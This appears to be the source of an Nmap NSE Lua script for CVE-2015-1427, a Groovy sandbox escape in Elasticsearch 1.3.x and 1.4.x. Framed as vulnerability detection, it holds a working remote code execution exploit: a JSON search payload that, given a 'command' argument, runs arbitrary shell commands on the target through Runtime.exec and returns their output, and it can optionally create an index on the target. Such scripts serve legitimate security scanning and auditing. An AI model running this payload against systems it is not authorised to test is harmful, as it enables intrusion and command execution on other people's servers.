211 lines
7.6 KiB
Lua
211 lines
7.6 KiB
Lua
local http = require "http"
|
|
local shortport = require "shortport"
|
|
local stdnse = require "stdnse"
|
|
local string = require "string"
|
|
local vulns = require "vulns"
|
|
local json = require "json"
|
|
local nmap = require "nmap"
|
|
local rand = require "rand"
|
|
|
|
description = [[
|
|
This script attempts to detect a vulnerability, CVE-2015-1427, which allows attackers
|
|
to leverage features of this API to gain unauthenticated remote code execution (RCE).
|
|
|
|
Elasticsearch versions 1.3.0-1.3.7 and 1.4.0-1.4.2 have a vulnerability in the Groovy scripting engine.
|
|
The vulnerability allows an attacker to construct Groovy scripts that escape the sandbox and execute shell
|
|
commands as the user running the Elasticsearch Java VM.
|
|
]]
|
|
|
|
---
|
|
-- @args command Enter the shell comannd to be executed. The script outputs the Java
|
|
-- and Elasticsearch versions by default.
|
|
-- @args invasive If set to true then it creates an index if there are no indices.
|
|
--
|
|
-- @usage
|
|
-- nmap --script=http-vuln-cve2015-1427 --script-args command= 'ls' <targets>
|
|
--
|
|
--@output
|
|
-- | http-vuln-cve2015-1427:
|
|
-- | VULNERABLE:
|
|
-- | ElasticSearch CVE-2015-1427 RCE Exploit
|
|
-- | State: VULNERABLE (Exploitable)
|
|
-- | IDs: CVE:CVE-2015-1427
|
|
-- | Risk factor: High CVSS2: 7.5
|
|
-- | The vulnerability allows an attacker to construct Groovy
|
|
-- | scripts that escape the sandbox and execute shell commands as the user
|
|
-- | running the Elasticsearch Java VM.
|
|
-- | Exploit results:
|
|
-- | ElasticSearch version: 1.3.7
|
|
-- | Java version: 1.8.0_45
|
|
-- | References:
|
|
-- | http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html
|
|
-- | https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
|
|
-- | https://github.com/elastic/elasticsearch/issues/9655
|
|
-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1427
|
|
|
|
author = {"Gyanendra Mishra", "Daniel Miller"}
|
|
|
|
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
|
|
|
categories = {"vuln", "intrusive"}
|
|
|
|
portrule = shortport.port_or_service(9200, "http", "tcp")
|
|
|
|
|
|
local function parseResult(parsed)
|
|
-- for commands that return printable results
|
|
if parsed.hits.hits[1] and parsed.hits.hits[1].fields and parsed.hits.hits[1].fields.exploit[1] then
|
|
return parsed.hits.hits[1].fields.exploit[1]
|
|
end
|
|
-- mkdir(etc) command seems to work but as it returns no result
|
|
if parsed.hits.total > 0 then
|
|
return "Likely vulnerable. Command entered gave no output to print. Use without command argument to ensure vulnerability."
|
|
end
|
|
return false
|
|
end
|
|
|
|
action = function(host, port)
|
|
|
|
local command = stdnse.get_script_args(SCRIPT_NAME .. ".command")
|
|
local invasive = stdnse.get_script_args(SCRIPT_NAME .. ".invasive")
|
|
|
|
local payload = {
|
|
size= 1,
|
|
query= {
|
|
match_all= {}
|
|
},
|
|
script_fields= {
|
|
exploit= {
|
|
lang= "groovy",
|
|
-- This proves vulnerability because the fix was to prevent access to
|
|
-- .class and .forName
|
|
script= '"ElasticSearch version: "+\z
|
|
java.lang.Math.class.forName("org.elasticsearch.Version").CURRENT+\z
|
|
"\\n Java version: "+\z
|
|
java.lang.Math.class.forName("java.lang.System").getProperty("java.version")'
|
|
}
|
|
}
|
|
}
|
|
if command then
|
|
payload.script_fields.exploit.script = string.format(
|
|
'java.lang.Math.class.forName("java.util.Scanner").getConstructor(\z
|
|
java.lang.Math.class.forName("java.io.InputStream")).newInstance(\z
|
|
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec(\z
|
|
%s).getInputStream()).useDelimiter("highlyunusualstring").next()',
|
|
json.generate(command))
|
|
end
|
|
|
|
local json_payload = json.generate(payload)
|
|
|
|
local vuln_table = {
|
|
title = "ElasticSearch CVE-2015-1427 RCE Exploit",
|
|
state = vulns.STATE.NOT_VULN,
|
|
risk_factor = "High",
|
|
references = {
|
|
'http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html',
|
|
'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/',
|
|
'https://github.com/elastic/elasticsearch/issues/9655'
|
|
},
|
|
IDS = {
|
|
CVE = 'CVE-2015-1427'
|
|
},
|
|
scores = {
|
|
CVSS2 = '7.5'
|
|
},
|
|
description = [[The vulnerability allows an attacker to construct Groovy
|
|
scripts that escape the sandbox and execute shell commands as the user
|
|
running the Elasticsearch Java VM.]]
|
|
}
|
|
|
|
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
|
|
|
local cleanup = function() return end
|
|
local nocache = {no_cache=true, bypass_cache=true}
|
|
--lets check the elastic search version.
|
|
local response = http.get(host, port, '/')
|
|
if response.status == 200 and response.body then
|
|
local status, parsed = json.parse(response.body)
|
|
if not(status) then
|
|
stdnse.debug1('Parsing JSON failed(version checking). Probably not running Elasticsearch')
|
|
return nil
|
|
else
|
|
if parsed.version.number then
|
|
--check if a vulnerable version is running
|
|
if (tostring(parsed.version.number):find('1.3.[0-7]') or tostring(parsed.version.number):find('1.4.[0-2]')) then
|
|
vuln_table.state = vulns.STATE.LIKELY_VULN
|
|
end
|
|
--help the version/service detection.
|
|
port.version = {
|
|
name = 'elasticsearch',
|
|
name_confidence = 10,
|
|
product = 'Elastic elasticsearch',
|
|
version = tostring(parsed.version.number),
|
|
service_tunnel = 'none',
|
|
cpe = {'cpe:/a:elasticsearch:elasticsearch:' .. tostring(parsed.version.number)}
|
|
}
|
|
nmap.set_port_version(host,port,'hardmatched')
|
|
else
|
|
stdnse.debug1('Cant Be Elastic search as no version number present.')
|
|
return nil
|
|
end
|
|
end
|
|
else
|
|
stdnse.debug1('Not Running Elastic Search.')
|
|
return nil
|
|
end
|
|
|
|
-- check if it is indexed, if not create index
|
|
response = http.get(host,port,'_cat/indices', nocache)
|
|
if response.status ~= 200 then
|
|
stdnse.debug1( "Couldnt fetch indices.")
|
|
return report:make_output(vuln_table)
|
|
elseif response.body == '' then
|
|
if invasive then
|
|
local rand = rand.random_alpha(8)
|
|
cleanup = function()
|
|
local r = http.generic_request(host, port, "DELETE", ("/%s"):format(rand))
|
|
if r.status ~= 200 or not r.body:match('"acknowledged":true') then
|
|
stdnse.debug1( "Could not delete index created by invasive script-arg")
|
|
end
|
|
end
|
|
local data = { [rand] = rand }
|
|
stdnse.debug1("Creating Index. 5 seconds wait.")
|
|
response = http.put(host,port,('%s/%s/1'):format(rand, rand),nil,json.generate(data))
|
|
if not(response.status == 201) then
|
|
stdnse.debug1( "Didnt have any index. Creating index failed.")
|
|
return report:make_output(vuln_table)
|
|
end
|
|
stdnse.sleep(5) -- search will not return results immediately
|
|
else
|
|
stdnse.debug1("Not Indexed. Try the invasive option ;)")
|
|
return report:make_output(vuln_table)
|
|
end
|
|
end
|
|
|
|
--execute the command
|
|
|
|
local target = '_search'
|
|
response = http.post(host, port, target ,nil ,nil ,(json_payload))
|
|
|
|
if not(response.body) or not(response.status==200) then
|
|
cleanup()
|
|
return report:make_output(vuln_table)
|
|
else
|
|
local status,parsed = json.parse(response.body)
|
|
if ( not(status) ) then
|
|
stdnse.debug1("JSON not parsable.")
|
|
cleanup()
|
|
return report:make_output(vuln_table)
|
|
end
|
|
--if the parseResult function returns something then lets go ahead
|
|
local results = parseResult(parsed)
|
|
if results then
|
|
vuln_table.state = vulns.STATE.EXPLOIT
|
|
vuln_table.exploit_results = results
|
|
end
|
|
end
|
|
|
|
cleanup()
|
|
return report:make_output(vuln_table)
|
|
end
|